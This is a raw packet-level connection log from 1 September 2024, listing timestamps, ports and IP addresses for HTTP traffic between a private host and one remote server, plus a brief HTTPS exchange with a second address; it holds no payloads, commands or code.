Sep 1, 2024 05:09:26.288058996 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.288085938 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.288106918 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.288109064 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.288116932 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.288127899 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.288136005 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.288155079 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.288180113 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.288275003 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.288285017 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.288295031 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.288304090 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.288314104 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.288319111 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.288322926 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.288333893 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.288345098 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.288347960 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.288353920 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.288372993 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.288372993 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.288399935 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.288439989 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.288449049 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.288458109 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.288467884 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.288476944 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.288491011 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.288502932 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.288512945 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.288513899 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.288513899 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.288513899 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.288528919 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.288548946 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.288569927 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.288669109 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.288678885 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.288688898 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.288698912 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.288707972 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.288708925 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.288726091 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.288727999 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.288764954 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.288791895 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.288893938 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.288902998 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.288913965 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.288923979 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.288929939 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.288933992 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.288944006 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.288944960 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.288954973 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.288973093 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.288990021 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.289110899 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.289120913 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.289130926 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.289148092 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.289158106 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.289159060 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.289166927 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.289177895 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.289181948 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.289187908 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.289199114 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.289210081 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.289241076 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.289269924 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.289283991 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.289375067 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.289386034 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.289397001 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.289401054 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.289417982 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.289421082 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.289428949 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.289439917 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.289443016 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.289450884 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.289462090 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.289474964 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.289480925 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.289499044 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.289532900 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.289582014 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.289688110 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.289699078 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.289709091 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.289720058 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.289730072 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.289731979 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.289740086 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.289750099 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.289758921 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.289767027 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.289769888 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.289779902 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.289789915 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.289798021 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.289799929 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.289817095 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.289819956 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.289829016 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.289856911 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.290024042 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.290045023 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.290055990 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.290064096 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.290066004 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.290076017 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.290081978 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.290086031 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.290096045 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.290097952 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.290106058 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.290116072 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.290127039 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.290127993 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.290143967 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.290163994 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.290275097 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.290286064 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.290296078 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.290319920 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.290327072 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.320230007 CEST	49785	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:26.339936972 CEST	443	49785	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:26.339997053 CEST	443	49785	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:26.340045929 CEST	49785	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:26.340537071 CEST	49785	443	192.168.2.4	142.250.65.238
Sep 1, 2024 05:09:26.340549946 CEST	443	49785	142.250.65.238	192.168.2.4
Sep 1, 2024 05:09:26.350955009 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.350980997 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.350991964 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.351002932 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.351054907 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.351061106 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.351070881 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.351079941 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.351103067 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.351128101 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.351134062 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.351141930 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.351150990 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.351161003 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.351171017 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.351172924 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.351198912 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.351217985 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.351237059 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.351246119 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.351253986 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.351262093 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.351278067 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.351291895 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.351291895 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.351300955 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.351310015 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.351317883 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.351341009 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.351362944 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.351393938 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.351403952 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.351412058 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.351439953 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.351461887 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.351474047 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.351485014 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.351495028 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.351501942 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.351514101 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.351551056 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.351582050 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.351592064 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.351624012 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.374399900 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.374447107 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.374455929 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.374458075 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.374485970 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.374495983 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.374526024 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.374536037 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.374551058 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.374561071 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.374571085 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.374608040 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.374628067 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.374638081 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.374646902 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.374655008 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.374664068 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.374675035 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.374686956 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.374712944 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.374775887 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.374785900 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.374794960 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.374803066 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.374811888 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.374814987 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.374840975 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.374861002 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.374900103 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.374910116 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.374918938 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.374928951 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.374938965 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.374942064 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.374947071 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.374970913 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.374989986 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.375009060 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.375019073 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.375027895 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.375036001 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.375047922 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.375082016 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.375153065 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.375163078 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.375171900 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.375185966 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.375193119 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.375196934 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.375220060 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.375250101 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.375350952 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.375360012 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.375368118 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.375377893 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.375386953 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.375396013 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.375396013 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.375405073 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.375413895 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.375415087 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.375423908 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.375431061 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.375433922 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.375447989 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.375473022 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.375560999 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.375571966 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.375580072 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.375588894 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.375597954 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.375607014 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.375608921 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.375627041 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.375639915 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.375721931 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.375731945 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.375746965 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.375756025 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.375758886 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.375765085 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.375787020 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.375812054 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.375876904 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.375886917 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.375895977 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.375905037 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.375917912 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.375919104 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.375927925 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.375945091 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.375966072 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.376014948 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.376028061 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.376036882 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.376044989 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.376055002 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.376061916 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.376075983 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.376095057 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.376178026 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.376188040 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.376197100 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.376205921 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.376214981 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.376219034 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.376243114 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.376251936 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.376391888 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.376399994 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.376409054 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.376418114 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.376425028 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.376432896 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.376435041 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.376444101 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.376454115 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.376454115 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.376465082 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.376475096 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.376492977 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.376502037 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.376502037 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.376513004 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.376542091 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.376627922 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.376637936 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.376646996 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.376656055 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.376665115 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.376674891 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.376702070 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.376760960 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.376770020 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.376779079 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.376789093 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.376801968 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.376823902 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.376951933 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.376961946 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.376971006 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.376980066 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.376988888 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.376995087 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.377001047 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.377011061 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.377013922 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.377021074 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.377031088 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.377032042 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.377038956 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.377048016 CEST	80	49742	185.215.113.100	192.168.2.4
Sep 1, 2024 05:09:26.377049923 CEST	49742	80	192.168.2.4	185.215.113.100
Sep 1, 2024 05:09:26.377068996 CEST	49742	80	192.168.2.4	185.215.113.100
